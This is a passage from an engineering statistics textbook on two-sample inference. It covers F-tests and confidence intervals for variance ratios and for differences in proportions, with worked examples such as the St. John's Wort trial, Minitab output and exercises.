The *P*-value approach can also be used with *F*-tests. To show how to do this, consider the upper-tailed one-tailed test. The *P*-value is the area (probability) under the *F* distribution with $n_1 - 1$ and $n_2 - 1$ degrees of freedom that lies beyond the computed value of the test statistic f_0. Appendix A Table IV can be used to obtain upper and lower bounds on the *P*-value. For example, consider an *F*-test with 9 numerator and 14 denominator degrees of freedom for which $f_0 = 3.05$. From Appendix A Table IV we find that $f_{0.05,9,14} = 2.65$ and $f_{0.025,9,14} = 3.21$, so because $f_0 = 3.05$ lies between these two values, the *P*-value is between 0.05 and 0.025; that is, $0.025 < P < 0.05$. The *P*-value for a lower-tailed test would be found similarly, although since Appendix A Table IV contains only upper-tail points of the *F* distribution, equation 10-30 would have to be used to find the necessary lower-tail points. For a two-tailed test, the bounds obtained from a one-tail test would be doubled to obtain the *P*-value.

Finding the P-Value for Example 10-12

To illustrate calculating bounds on the *P*-value for a two-tailed *F*-test, reconsider Example 10-12. The computed value of the test statistic in this example is $f_0 = 0.85$. This value falls in the lower tail of the $F_{15,15}$ distribution. The lower-tail point that has 0.25 probability to the left of it is $f_{0.75,15,15} = 1/f_{0.25,15,15} = 1/1.43 = 0.70$ and since $0.70 < 0.85$, the probability that lies to the left of 0.85 exceeds 0.25. Therefore, we would conclude that the *P*-value for $f_0 = 0.85$ is greater than $2(0.25) = 0.5$, so there is insufficient evidence to reject the null hypothesis. This is consistent with the original conclusions from Example 10-12. The actual *P*-value is 0.7570. This value was obtained from a calculator from which we found that $P(F_{15,15} \leq 0.85) = 0.3785$ and $2(0.3785) = 0.7570$. Minitab can also be used to calculate the required probabilities.

Minitab will perform the *F*-test on the equality of two variances of independent normal distributions. The Minitab output is shown below.

Test for Equal Variances

```
95% Bonferroni confidence intervals for standard deviations

Sample      N        Lower        StDev        Upper
   1       16      1.38928      1.95959      3.24891
   2       16      1.51061      2.13073      3.53265

F-Test (Normal Distribution)
Test statistic = 0.85, P-value = 0.750
```

Minitab also gives confidence intervals on the individual variances. These are the confidence intervals originally given in Equation 8-19, except that a Bonferroni "adjustment" has been applied to make the confidence level for both intervals simultaneously at least equal to 95%. This consists of using $\alpha/2 = 0.05/2 = 0.025$ to construct the individual intervals. That is, each individual confidence interval is a 97.5% CI. In Section 10-5.4, we will show how to construct a CI on the *ratio* of the two variances.

10-5.3 Type II Error and Choice of Sample Size

Appendix Charts VII*o*, VII*p*, VII*q*, and VII*r* provide operating characteristic curves for the F-test given in Section 10-5.1 for $\alpha = 0.05$ and $\alpha = 0.01$, assuming that $n_1 = n_2 = n$. Charts VII*o* and VII*p* are used with the two-sided alternate hypothesis. They plot β against the abscissa parameter

$$\lambda = \frac{\sigma_1}{\sigma_2} \tag{10-32}$$

for various $n_1 = n_2 = n$. Charts VII*q* and VII*r* are used for the one-sided alternative hypotheses.

EXAMPLE 10-13 **Semiconductor Etch Variability Sample Size**

For the semiconductor wafer oxide etching problem in Example 10-12, suppose that one gas resulted in a standard deviation of oxide thickness that is half the standard deviation of oxide thickness of the other gas. If we wish to detect such a situation with probability at least 0.80, is the sample size $n_1 = n_2 = 20$ adequate?

Note that if one standard deviation is half the other,

$$\lambda = \frac{\sigma_1}{\sigma_2} = 2$$

By referring to Appendix Chart VII*o* with $n_1 = n_2 = n = 20$ and $\lambda = 2$, we find that $\beta \simeq 0.20$. Therefore, if $\beta = 0.20$, the power of the test (which is the probability that the difference in standard deviations will be detected by the test) is 0.80, and we conclude that the sample sizes $n_1 = n_2 = 20$ are adequate.

10-5.4 Confidence Interval on the Ratio of Two Variances

To find the confidence interval on σ_1^2/σ_2^2, recall that the sampling distribution of

$$F = \frac{S_2^2/\sigma_2^2}{S_1^2/\sigma_1^2}$$

is an F with $n_2 - 1$ and $n_1 - 1$ degrees of freedom. Therefore, $P(f_{1-\alpha/2,n_2-1,n_1-1} \le F \le f_{\alpha/2,n_2-1,n_1-1}) = 1 - \alpha$. Substitution for F and manipulation of the inequalities will lead to the $100(1 - \alpha)\%$ confidence interval for σ_1^2/σ_2^2.

Confidence Interval on the Ratio of Variances from Two Normal Distributions

If s_1^2 and s_2^2 are the sample variances of random samples of sizes n_1 and n_2, respectively, from two independent normal populations with unknown variances σ_1^2 and σ_2^2, then a **$100(1 - \alpha)\%$ confidence interval on the ratio σ_1^2/σ_2^2** is

$$\frac{s_1^2}{s_2^2} f_{1-\alpha/2,n_2-1,n_1-1} \le \frac{\sigma_1^2}{\sigma_2^2} \le \frac{s_1^2}{s_2^2} f_{\alpha/2,n_2-1,n_1-1} \tag{10-33}$$

where $f_{\alpha/2,n_2-1,n_1-1}$ and $f_{1-\alpha/2,n_2-1,n_1-1}$ are the upper and lower $\alpha/2$ percentage points of the F distribution with $n_2 - 1$ numerator and $n_1 - 1$ denominator degrees of freedom, respectively. A confidence interval on the ratio of the standard deviations can be obtained by taking square roots in Equation 10-33.

EXAMPLE 10-14 Surface Finish for Titanium Alloy

A company manufactures impellers for use in jet-turbine engines. One of the operations involves grinding a particular surface finish on a titanium alloy component. Two different grinding processes can be used, and both processes can produce parts at identical mean surface roughness. The manufacturing engineer would like to select the process having the least variability in surface roughness. A random sample of $n_1 = 11$ parts from the first process results in a sample standard deviation $s_1 = 5.1$ microinches, and a random sample of $n_2 = 16$ parts from the second process results in a sample standard deviation of $s_2 = 4.7$ microinches. We will find a 90% confidence interval on the ratio of the two standard deviations, σ_1/σ_2.

Assuming that the two processes are independent and that surface roughness is normally distributed, we can use Equation 10-33 as follows:

$$\frac{s_1^2}{s_2^2} f_{0.95,15,10} \le \frac{\sigma_1^2}{\sigma_2^2} \le \frac{s_1^2}{s_2^2} f_{0.05,15,10}$$

$$\frac{(5.1)^2}{(4.7)^2} 0.39 \le \frac{\sigma_1^2}{\sigma_2^2} \le \frac{(5.1)^2}{(4.7)^2} 2.85$$

or upon completing the implied calculations and taking square roots,

$$0.678 \le \frac{\sigma_1}{\sigma_2} \le 1.832$$

Notice that we have used Equation 10-30 to find $f_{0.95,15,10} = 1/f_{0.05,10,15} = 1/2.54 = 0.39$.

Practical Interpretation: Since this confidence interval includes unity, we cannot claim that the standard deviations of surface roughness for the two processes are different at the 90% level of confidence.

EXERCISES FOR SECTION 10-5

10-49. For an F distribution, find the following:

(a) $f_{0.25,5,10}$ (b) $f_{0.10,24,9}$
(c) $f_{0.05,8,15}$ (d) $f_{0.75,5,10}$
(e) $f_{0.90,24,9}$ (f) $f_{0.95,8,15}$

10-50. For an F distribution, find the following:

(a) $f_{0.25,7,15}$ (b) $f_{0.10,10,12}$
(c) $f_{0.01,20,10}$ (d) $f_{0.75,7,15}$
(e) $f_{0.90,10,12}$ (f) $f_{0.99,20,10}$

10-51. Consider the hypothesis test $H_0: \sigma_1^2 = \sigma_2^2$ against $H_1: \sigma_1^2 < \sigma_2^2$. Suppose that the sample sizes are $n_1 = 5$ and $n_2 = 10$, and that $s_1^2 = 23.2$ and $s_2^2 = 28.8$. Use $\alpha = 0.05$. Test the hypothesis and explain how the test could be conducted with a confidence interval on σ_1/σ_2.

10-52. Consider the hypothesis test $H_0: \sigma_1^2 = \sigma_2^2$ against $H_0: \sigma_1^2 > \sigma_2^2$. Suppose that the sample sizes are $n_1 = 20$ and $n_2 = 8$, and that $s_1^2 = 4.5$ and $s_2^2 = 2.3$. Use $\alpha = 0.01$. Test the hypothesis and explain how the test could be conducted with a confidence interval on σ_1/σ_2.

10-53. Consider the hypothesis test $H_0: \sigma_1^2 = \sigma_2^2$ against $H_1: \sigma_1^2 \ne \sigma_2^2$. Suppose that the sample sizes are $n_1 = 15$ and $n_2 = 15$, and the sample variances are $s_1^2 = 2.3$ and $s_2^2 = 1.9$. Use $\alpha = 0.05$.

(a) Test the hypothesis and explain how the test could be conducted with a confidence interval on σ_1/σ_2.
(b) What is the power of the test in part (a) if σ_1 is twice as large as σ_2?
(c) Assuming equal sample sizes, what sample size should be used to obtain $\beta = 0.05$ if the σ_2 is half of σ_1?

10-54. Two chemical companies can supply a raw material. The concentration of a particular element in this material is important. The mean concentration for both suppliers is the same, but we suspect that the variability in concentration may differ between the two companies. The standard deviation of concentration in a random sample of $n_1 = 10$ batches produced by company 1 is $s_1 = 4.7$ grams per liter, while for company 2, a random sample of $n_2 = 16$ batches yields $s_2 = 5.8$ grams per liter. Is there sufficient evidence to conclude that the two population variances differ? Use $\alpha = 0.05$.

10-55. A study was performed to determine whether men and women differ in their repeatability in assembling components on printed circuit boards. Random samples of 25 men and 21 women were selected, and each subject assembled the units. The two sample standard deviations of assembly time were $s_{\text{men}} = 0.98$ minutes and $s_{\text{women}} = 1.02$ minutes.

(a) Is there evidence to support the claim that men and women differ in repeatability for this assembly task? Use $\alpha = 0.02$ and state any necessary assumptions about the underlying distribution of the data.
(b) Find a 98% confidence interval on the ratio of the two variances. Provide an interpretation of the interval.

10-56. Consider the foam data in Exercise 10-16. Construct the following:

(a) A 90% two-sided confidence interval on σ_1^2/σ_2^2.
(b) A 95% two-sided confidence interval on σ_1^2/σ_2^2. Comment on the comparison of the width of this interval with the width of the interval in part (a).
(c) A 90% lower-confidence bound on σ_1/σ_2.

10-57. Consider the diameter data in Exercise 10-15. Construct the following:

(a) A 90% two-sided confidence interval on σ_1/σ_2.

(b) A 95% two-sided confidence interval on σ_1/σ_2. Comment on the comparison of the width of this interval with the width of the interval in part (a).
(c) A 90% lower-confidence bound on σ_1/σ_2.

10-58. Consider the gear impact strength data in Exercise 10-20. Is there sufficient evidence to conclude that the variance of impact strength is different for the two suppliers? Use $\alpha = 0.05$.

10-59. Consider the melting-point data in Exercise 10-21. Do the sample data support a claim that both alloys have the same variance of melting point? Use $\alpha = 0.05$ in reaching your conclusion.

10-60. Exercise 10-24 presented measurements of plastic coating thickness at two different application temperatures. Test H_0: $\sigma_1^2 = \sigma_2^2$ against H_1: $\sigma_1^2 \neq \sigma_2^2$ using $\alpha = 0.01$.

10-61. Reconsider the overall distance data for golf balls in Exercise 10-29. Is there evidence to support the claim that the standard deviation of overall distance is the same for both brands of balls (use $\alpha = 0.05$)? Explain how this question can be answered with a 95% confidence interval on σ_1/σ_2.

10-62. Reconsider the coefficient of restitution data in Exercise 10-30. Do the data suggest that the standard deviation is the same for both brands of drivers (use $\alpha = 0.05$)? Explain how to answer this question with a confidence interval on σ_1/σ_2.

10-63. Consider the weight of paper data from *Technometrics* in Exercise 10-28. Is there evidence that the variance of the weight measurement differs between the sheets of paper? Use $\alpha = 0.05$. Explain how this test can be conducted with a confidence interval.

10-64. Consider the film speed data in Exercise 10-22.
(a) Test H_0: $\sigma_1^2 = \sigma_2^2$ versus H_1: $\sigma_1^2 \neq \sigma_2^2$ using $\alpha = 0.02$.
(b) Suppose that one population standard deviation is 50% larger than the other. Is the sample size $n_1 = n_2 = 8$ adequate to detect this difference with high probability? Use $\alpha = 0.01$ in answering this question.

10-65. Consider the etch rate data in Exercise 10-19.
(a) Test the hypothesis H_0: $\sigma_1^2 = \sigma_2^2$ against H_1: $\sigma_1^2 \neq \sigma_2^2$ using $\alpha = 0.05$, and draw conclusions.
(b) Suppose that if one population variance is twice as large as the other, we want to detect this with probability at least 0.90 (using $\alpha = 0.05$). Are the sample sizes $n_1 = n_2 = 10$ adequate?

10-6 INFERENCE ON TWO POPULATION PROPORTIONS

We now consider the case where there are two binomial parameters of interest, say, p_1 and p_2, and we wish to draw inferences about these proportions. We will present large-sample hypothesis testing and confidence interval procedures based on the normal approximation to the binomial.

10-6.1 Large-Sample Tests on the Difference in Population Proportions

Suppose that two independent random samples of sizes n_1 and n_2 are taken from two populations, and let X_1 and X_2 represent the number of observations that belong to the class of interest in samples 1 and 2, respectively. Furthermore, suppose that the normal approximation to the binomial is applied to each population, so the estimators of the population proportions $P_1 = X_1/n_1$ and $P_2 = X_2/n_2$ have approximate normal distributions. We are interested in testing the hypotheses

$$H_0: p_1 = p_2$$
$$H_1: p_1 \neq p_2$$

The statistic

Test Statistic for the Difference of Two Population Proportions

$$Z = \frac{\hat{P}_1 - \hat{P}_2 - (p_1 - p_2)}{\sqrt{\dfrac{p_1(1-p_1)}{n_1} + \dfrac{p_2(1-p_2)}{n_2}}} \qquad (10\text{-}34)$$

is distributed approximately as standard normal and is the basis of a test for H_0: $p_1 = p_2$. Specifically, if the null hypothesis H_0: $p_1 = p_2$ is true, using the fact that $p_1 = p_2 = p$, the random variable

$$Z = \frac{\hat{P}_1 - \hat{P}_2}{\sqrt{p(1-p)\left(\frac{1}{n_1} + \frac{1}{n_2}\right)}}$$

is distributed approximately $N(0, 1)$. A pooled estimator of the common parameter p is

$$\hat{P} = \frac{X_1 + X_2}{n_1 + n_2}$$

The **test statistic** for H_0: $p_1 = p_2$ is then

$$Z_0 = \frac{\hat{P}_1 - \hat{P}_2}{\sqrt{\hat{P}(1-\hat{P})\left(\frac{1}{n_1} + \frac{1}{n_2}\right)}}$$

This leads to the test procedures described below.

Approximate Tests on the Difference of Two Population Proportions

Null hypothesis: H_0: $p_1 = p_2$

Test statistic:

$$Z_0 = \frac{\hat{P}_1 - \hat{P}_2}{\sqrt{\hat{P}(1-\hat{P})\left(\frac{1}{n_1} + \frac{1}{n_2}\right)}} \qquad (10\text{-}35)$$

Alternative Hypothesis	*P*-Value	Rejection Criterion for Fixed-Level Tests
H_1: $p_1 \neq p_2$	Probability above $\lvert z_0 \rvert$ and probability below $-\lvert z_0 \rvert$. $P = 2[1 - \Phi(\lvert z_0 \rvert)]$	$z_0 > z_{\alpha/2}$ or $z_0 < -z_{\alpha/2}$
H_1: $p_1 > p_2$	Probability above z_0. $P = 1 - \Phi(z_0)$	$z_0 > z_\alpha$
H_1: $p_1 < p_2$	Probability below z_0. $P = \Phi(z_0)$	$z_0 < -z_\alpha$

EXAMPLE 10-15 St. John's Wort

Extracts of St. John's Wort are widely used to treat depression. An article in the April 18, 2001, issue of the *Journal of the American Medical Association* ("Effectiveness of St. John's Wort on Major Depression: A Randomized Controlled Trial") compared the efficacy of a standard extract of St. John's Wort with a placebo in 200 outpatients diagnosed with major depression. Patients were randomly assigned to two groups; one group received the St. John's Wort, and the other received the placebo. After eight weeks, 19 of the placebo-treated patients showed improvement, whereas 27 of those treated with St. John's Wort improved. Is there any reason to believe that St. John's Wort is effective in treating major depression? Use $\alpha = 0.05$.

The seven-step hypothesis testing procedure leads to the following results:

1. **Parameter of interest:** The parameters of interest are p_1 and p_2, the proportion of patients who improve following treatment with St. John's Wort (p_1) or the placebo (p_2).
2. **Null hypothesis:** H_0: $p_1 = p_2$
3. **Alternative hypothesis:** H_1: $p_1 \neq p_2$

4. **Test statistic:** The test statistic is

$$z_0 = \frac{\hat{p}_1 - \hat{p}_2}{\sqrt{\hat{p}(1-\hat{p})\left(\frac{1}{n_1} + \frac{1}{n_2}\right)}}$$

where $\hat{p}_1 = 27/100 = 0.27$, $\hat{p}_2 = 19/100 = 0.19$, $n_1 = n_2 = 100$, and

$$\hat{p} = \frac{x_1 + x_2}{n_1 + n_2} = \frac{19 + 27}{100 + 100} = 0.23$$

5. **Reject H_0 if:** Reject H_0: $p_1 = p_2$ if the P-value is less than 0.05.

6. **Computations:** The value of the test statistic is

$$z_0 = \frac{0.27 - 0.19}{\sqrt{0.23(0.77)\left(\frac{1}{100} + \frac{1}{100}\right)}} = 1.34$$

7. **Conclusions:** Since $z_0 = 1.34$, the P-value is $P = 2[1 - \Phi(1.34)] = 0.18$, so, we cannot reject the null hypothesis.

Practical Interpretation: There is insufficient evidence to support the claim that St. John's Wort is effective in treating major depression.

The following box shows the Minitab two-sample hypothesis test and CI procedure for proportions. Notice that the 95% CI on $p_1 - p_2$ includes zero. The equation for constructing the CI will be given in Section 10-6.3.

Minitab Computations

Test and CI for Two Proportions

Sample	X	N	Sample p
1	27	100	0.270000
2	19	100	0.190000

Estimate for p(1) − p(2): 0.08
95% CI for p(1) − p(2): (−0.0361186, 0.196119)
Test for p(1) − p(2) = 0 (vs not = 0): Z = 1.35 P-Value = 0.177

10-6.2 Type II Error and Choice of Sample Size

The computation of the β-error for the large-sample test of H_0: $p_1 = p_2$ is somewhat more involved than in the single-sample case. The problem is that the denominator of the test statistic Z_0 is an estimate of the standard deviation of $\hat{P}_1 - \hat{P}_2$ under the assumption that $p_1 = p_2 = p$. When H_0: $p_1 = p_2$ is false, the standard deviation of $\hat{P}_1 - \hat{P}_2$ is

$$\sigma_{\hat{P}_1 - \hat{P}_2} = \sqrt{\frac{p_1(1-p_1)}{n_1} + \frac{p_2(1-p_2)}{n_2}} \tag{10-36}$$

Approximate Type II Error for a Two-Sided Test on the Difference of Two Population Proportions

If the alternative hypothesis is two sided, the β-error is

$$\beta = \Phi\left[\frac{z_{\alpha/2}\sqrt{\bar{p}\bar{q}(1/n_1 + 1/n_2)} - (p_1 - p_2)}{\sigma_{\hat{P}_1 - \hat{P}_2}}\right] - \Phi\left[\frac{-z_{\alpha/2}\sqrt{\bar{p}\bar{q}(1/n_1 + 1/n_2)} - (p_1 - p_2)}{\sigma_{\hat{P}_1 - \hat{P}_2}}\right] \tag{10-37}$$

where

$$\bar{p} = \frac{n_1 p_1 + n_2 p_2}{n_1 + n_2} \qquad \text{and} \qquad \bar{q} = \frac{n_1(1 - p_1) + n_2(1 - p_2)}{n_1 + n_2}$$

and $\sigma_{\hat{P}_1 - \hat{P}_2}$ is given by Equation 10-36.

Approximate Type II Error for a One-Sided Test on the Difference of Two Population Proportions

If the alternative hypothesis is H_1: $p_1 > p_2$,

$$\beta = \Phi\left[\frac{z_\alpha\sqrt{\bar{p}\bar{q}(1/n_1 + 1/n_2)} - (p_1 - p_2)}{\sigma_{\hat{P}_1 - \hat{P}_2}}\right] \tag{10-38}$$

and if the alternative hypothesis is H_1: $p_1 < p_2$,

$$\beta = 1 - \Phi\left[\frac{-z_\alpha\sqrt{\bar{p}\bar{q}(1/n_1 + 1/n_2)} - (p_1 - p_2)}{\sigma_{\hat{P}_1 - \hat{P}_2}}\right] \tag{10-39}$$

For a specified pair of values p_1 and p_2, we can find the sample sizes $n_1 = n_2 = n$ required to give the test of size α that has specified type II error β.

Approximate Sample Size for a Two-Sided Test on the Difference in Population Proportions

For the two-sided alternative, the common sample size is

$$n = \frac{\left[z_{\alpha/2}\sqrt{(p_1 + p_2)(q_1 + q_2)/2} + z_\beta\sqrt{p_1 q_1 + p_2 q_2}\right]^2}{(p_1 - p_2)^2} \tag{10-40}$$

where $q_1 = 1 - p_1$ and $q_2 = 1 - p_2$.

For a one-sided alternative, replace $z_{\alpha/2}$ in Equation 10-40 by z_α.

10-6.3 Confidence Interval on the Difference in Population Proportions

The confidence interval for $p_1 - p_2$ can be found directly, since we know that

$$Z = \frac{\hat{P}_1 - \hat{P}_2 - (p_1 - p_2)}{\sqrt{\dfrac{p_1(1 - p_1)}{n_1} + \dfrac{p_2(1 - p_2)}{n_2}}}$$

is a standard normal random variable. Thus $P(-z_{\alpha/2} \le Z \le z_{\alpha/2}) \simeq 1 - \alpha$, so we can substitute for Z in this last expression and use an approach similar to the one employed previously to find an approximate $100(1 - \alpha)\%$ two-sided confidence interval for $p_1 - p_2$.

Approximate Confidence Interval on the Difference in Population Proportions

If $\hat{p}_1$ and $\hat{p}_2$ are the sample proportions of observations in two independent random samples of sizes n_1 and n_2 that belong to a class of interest, an **approximate two-sided 100(1 − α)% confidence interval on the difference in the true proportions $p_1 - p_2$** is

$$\hat{p}_1 - \hat{p}_2 - z_{\alpha/2}\sqrt{\frac{\hat{p}_1(1-\hat{p}_1)}{n_1} + \frac{\hat{p}_2(1-\hat{p}_2)}{n_2}} \le p_1 - p_2 \le \hat{p}_1 - \hat{p}_2 + z_{\alpha/2}\sqrt{\frac{\hat{p}_1(1-\hat{p}_1)}{n_1} + \frac{\hat{p}_2(1-\hat{p}_2)}{n_2}} \qquad (10\text{-}41)$$

where $z_{\alpha/2}$ is the upper $\alpha/2$ percentage point of the standard normal distribution.

EXAMPLE 10-16 Defective Bearings

Consider the process of manufacturing crankshaft bearings described in Example 8-7. Suppose that a modification is made in the surface finishing process and that, subsequently, a second random sample of 85 bearings is obtained. The number of defective bearings in this second sample is 8. Therefore, since $n_1 = 85$, $\hat{p}_1 = 0.12$, $n_2 = 85$, and $\hat{p}_2 = 8/85 = 0.09$, we can obtain an approximate 95% confidence interval on the difference in the proportion of defective bearings produced under the two processes from Equation 10-41 as follows:

$$\hat{p}_1 - \hat{p}_2 - z_{0.025}\sqrt{\frac{\hat{p}_1(1-\hat{p}_1)}{n_1} + \frac{\hat{p}_2(1-\hat{p}_2)}{n_2}} \le p_1 - p_2 \le \hat{p}_1 - \hat{p}_2 + z_{0.025}\sqrt{\frac{\hat{p}_1(1-\hat{p}_1)}{n_1} + \frac{\hat{p}_2(1-\hat{p}_2)}{n_2}}$$

or

$$0.12 - 0.09 - 1.96\sqrt{\frac{0.12(0.88)}{85} + \frac{0.09(0.91)}{85}} \le p_1 - p_2 \le 0.12 - 0.09 + 1.96\sqrt{\frac{0.12(0.88)}{85} + \frac{0.09(0.91)}{85}}$$

This simplifies to

$$-0.06 \le p_1 - p_2 \le 0.12$$

Practical Interpretation: This confidence interval includes zero, so, based on the sample data, it seems unlikely that the changes made in the surface finish process have reduced the proportion of defective crankshaft bearings being produced.

EXERCISES FOR SECTION 10-6

10-66. Consider the computer output below.

Test and Cl for Two Proportions

```
Sample     X      N      Sample p
  1       54    250     0.216000
  2       60    290     0.206897

Difference = p (1) − p (2)
Estimate for difference: 0.00910345
95% CI for difference: (−0.0600031,
0.0782100)
Test for difference = 0 (vs not = 0):
Z = ? P-Value = ?
```

(a) Is this a one-sided or a two-sided test?
(b) Fill in the missing values.
(c) Can the null hypothesis be rejected?
(d) Construct an approximate 90% CI for the difference in the two proportions.

10-67. Consider the computer output below.

Test and CI for Two Proportions

```
Sample     X      N      Sample p
  1      188    250     0.752000
  2      245    350     0.700000

Difference = p (1) − p (2)
Estimate for difference: 0.052
95% lower bound for difference: ?
Test for difference = 0 (vs > 0) :
Z = ? P-Value = ?
```

(a) Is this a one-sided or a two-sided test?
(b) Fill in the missing values
(c) Can the null hypothesis be rejected if $\alpha = 0.10$? What if $\alpha = 0.05$?

10-68. An article in *Knee Surgery, Sports Traumatology, Arthroscopy* (2005, Vol. 13, pp. 273–279), considered arthroscopic meniscal repair with an absorbable screw. Results showed that for tears greater than 25 millimeters, 14 of 18 (78%) repairs were successful while for shorter tears, 22 of 30 (73%) repairs were successful.

(a) Is there evidence that the success rate is greater for longer tears? Use $\alpha = 0.05$. What is the P-value?

(b) Calculate a one-sided 95% confidence bound on the difference in proportions that can be used to answer the question in part (a).

10-69. In the 2004 presidential election, exit polls from the critical state of Ohio provided the following results: For respondents with college degrees, 53% voted for Bush and 46% voted for Kerry. There were 2020 respondents.

(a) Is there a significant difference in these proportions? Use $\alpha = 0.05$. What is the P-value?

(b) Calculate a 95% confidence interval for the difference in the two proportions and comment on the use of this interval to answer the question in part (a).

10-70. Two different types of injection-molding machines are used to form plastic parts. A part is considered defective if it has excessive shrinkage or is discolored. Two random samples, each of size 300, are selected, and 15 defective parts are found in the sample from machine 1 while 8 defective parts are found in the sample from machine 2.

(a) Is it reasonable to conclude that both machines produce the same fraction of defective parts, using $\alpha = 0.05$? Find the P-value for this test.

(b) Construct a 95% confidence interval on the difference in the two fractions defective.

(c) Suppose that $p_1 = 0.05$ and $p_2 = 0.01$. With the sample sizes given here, what is the power of the test for this two-sided alternate?

(d) Suppose that $p_1 = 0.05$ and $p_2 = 0.01$. Determine the sample size needed to detect this difference with a probability of at least 0.9.

(e) Suppose that $p_1 = 0.05$ and $p_2 = 0.02$. With the sample sizes given here, what is the power of the test for this two-sided alternate?

(f) Suppose that $p_1 = 0.05$ and $p_2 = 0.02$. Determine the sample size needed to detect this difference with a probability of at least 0.9.

10-71. Two different types of polishing solutions are being evaluated for possible use in a tumble-polish operation for manufacturing interocular lenses used in the human eye following cataract surgery. Three hundred lenses were tumble polished using the first polishing solution, and of this number 253 had no polishing-induced defects. Another 300 lenses were tumble-polished using the second polishing solution, and 196 lenses were satisfactory upon completion.

(a) Is there any reason to believe that the two polishing solutions differ? Use $\alpha = 0.01$. What is the P-value for this test?

(b) Discuss how this question could be answered with a confidence interval on $p_1 - p_2$.

10-72. A random sample of 500 adult residents of Maricopa County found that 385 were in favor of increasing the highway speed limit to 75 mph, while another sample of 400 adult residents of Pima County found that 267 were in favor of the increased speed limit.

(a) Do these data indicate that there is a difference in the support for increasing the speed limit between the residents of the two counties? Use $\alpha = 0.05$. What is the P-value for this test?

(b) Construct a 95% confidence interval on the difference in the two proportions. Provide a practical interpretation of this interval.

10-7 SUMMARY TABLE AND ROADMAP FOR INFERENCE PROCEDURES FOR TWO SAMPLES

The table in the end papers of the book summarizes all of the two-sample parametric inference procedures given in this chapter. The table contains the null hypothesis statements, the test statistics, the criteria for rejection of the various alternative hypotheses, and the formulas for constructing the $100(1 - \alpha)\%$ confidence intervals.

The roadmap to select the appropriate parametric confidence interval formula or hypothesis test method for one-sample problems was presented in Table 8-1. In Table 10-5, we extend the road map to two-sample problems. The primary comments stated previously also apply here (except we usually apply conclusions to a function of the parameters from each sample, such as the difference in means):

1. Determine the function of the parameters (and the distribution of the data) that is to be bounded by the confidence interval or tested by the hypothesis.
2. Check if other parameters are known or need to be estimated (and if any assumptions are made).

Table 10-5 Roadmap to Construct Confidence Intervals and Hypothesis Tests, Two-Sample Case

Function of the Parameters to be Bounded by the Confidence Interval or Tested with a Hypothesis	Symbol	Other Parameters?	Confidence Interval Section	Hypothesis Test Section	Comments
Difference in means from two normal distributions	$\mu_1-\mu_2$	Standard deviations σ_1 and σ_2 known	10-1.3	10-1.1	
Difference in means from two arbitrary distributions with large sample sizes	$\mu_1-\mu_2$	Sample sizes large enough that σ_1 and σ_2 are essentially known	10-1.3	10-1.1	Large sample size is often taken to be n_1 and $n_2 \geq 40$
Difference in means from two normal distributions	$\mu_1-\mu_2$	Standard deviations σ_1 and σ_2 are unknown, and assumed equal	10-2.3	10-2.1	Case 1: $\sigma_1 = \sigma_2$
Difference in means from two symmetric distributions	$\mu_1-\mu_2$			10-3	The Wilcoxon rank-sum test is a nonparametric procedure
Difference in means from two normal distributions	$\mu_1-\mu_2$	Standard deviations σ_1 and σ_2 are unknown, and NOT assumed equal	10-2.3	10-2.1	Case 2: $\sigma_1 \neq \sigma_2$
Difference in means from two normal distributions in a paired analysis	$\mu_D = \mu_1-\mu_2$	Standard deviation of differences are unknown	10-4	10-4	Paired analysis calculates differences and uses a one-sample method for inference on the mean difference
Ratio of variances of two normal distributions	σ_1^2/σ_2^2	Means μ_1 and μ_2 unknown and estimated	10-5.4	10-5.2	
Difference in two population proportions	p_1-p_2	None	10-6.3	10-6.1	Normal approximation to the binomial distribution used for the tests and confidence intervals

Supplemental Exercises

10-73. Consider the computer output below.

Two-Sample T-Test and CI

```
Sample    N     Mean    StDev    SE Mean
  1      20    11.87     2.23       ?
  2      20    12.73     3.19      0.71
Difference = mu (1) − mu (2)
Estimate for difference: −0.860
95% CI for difference: (?, ?)
T-Test of difference = 0(vs not =) :
T-Value = ? P-Value = ? DF = ?
Both use Pooled StDev = ?
```

(a) Fill in the missing values. You may use bounds for the P-value.
(b) Is this a two-sided test or a one-sided test?
(c) What are your conclusions if $\alpha = 0.05$? What if $\alpha = 0.10$?

10-74. Consider the computer output below.

Two-Sample T-Test CI

```
Sample    N     Mean    StDev    SE Mean
  1      16    22.45     2.98      0.75
  2      25    24.61     5.36       1.1
Difference = mu (1) − mu (2)
Estimate for difference: −2.16
T-Test of difference = 0 (vs <):
T-Value = −1.65 P-Value = ? DF = ?
```

(a) Is this a one-sided or a two-sided test?
(b) Fill in the missing values. You may use bounds for the *P*-value.
(c) What are your conclusions if $\alpha = 0.05$? What if $\alpha = 0.10$?
(d) Find a 95% upper-confidence bound on the difference in the two means.

10-75. An article in the *Journal of Materials Engineering* (1989, Vol. 11, No. 4, pp. 275–282) reported the results of an experiment to determine failure mechanisms for plasma-sprayed thermal barrier coatings. The failure stress for one particular coating (NiCrAlZr) under two different test conditions is as follows:

Failure stress ($\times 10^6$ Pa) after nine 1-hour cycles: 19.8, 18.5, 17.6, 16.7, 16.7, 14.8, 15.4, 14.1, 13.6

Failure stress ($\times 10^6$ Pa) after six 1-hour cycles: 14.9, 12.7, 11.9, 11.4, 10.1, 7.9

(a) What assumptions are needed to construct confidence intervals for the difference in mean failure stress under the two different test conditions? Use normal probability plots of the data to check these assumptions.
(b) Find a 99% confidence interval on the difference in mean failure stress under the two different test conditions.
(c) Using the confidence interval constructed in part (b), does the evidence support the claim that the first test conditions yield higher results, on the average, than the second? Explain your answer.
(d) Construct a 95% confidence interval on the ratio of the variances, σ_1^2/σ_2^2, of failure stress under the two different test conditions.
(e) Use your answer in part (b) to determine whether there is a significant difference in variances of the two different test conditions. Explain your answer.

10-76. A procurement specialist has purchased 25 resistors from vendor 1 and 35 resistors from vendor 2. Each resistor's resistance is measured with the following results:

Vendor 1

96.8	100.0	100.3	98.5	98.3	98.2
99.6	99.4	99.9	101.1	103.7	97.7
99.7	101.1	97.7	98.6	101.9	101.0
99.4	99.8	99.1	99.6	101.2	98.2
98.6					

Vendor 2

106.8	106.8	104.7	104.7	108.0	102.2
103.2	103.7	106.8	105.1	104.0	106.2
102.6	100.3	104.0	107.0	104.3	105.8
104.0	106.3	102.2	102.8	104.2	103.4
104.6	103.5	106.3	109.2	107.2	105.4
106.4	106.8	104.1	107.1	107.7	

(a) What distributional assumption is needed to test the claim that the variance of resistance of product from vendor 1 is not significantly different from the variance of resistance of product from vendor 2? Perform a graphical procedure to check this assumption.
(b) Perform an appropriate statistical hypothesis-testing procedure to determine whether the procurement specialist can claim that the variance of resistance of product from vendor 1 is significantly different from the variance of resistance of product from vendor 2.

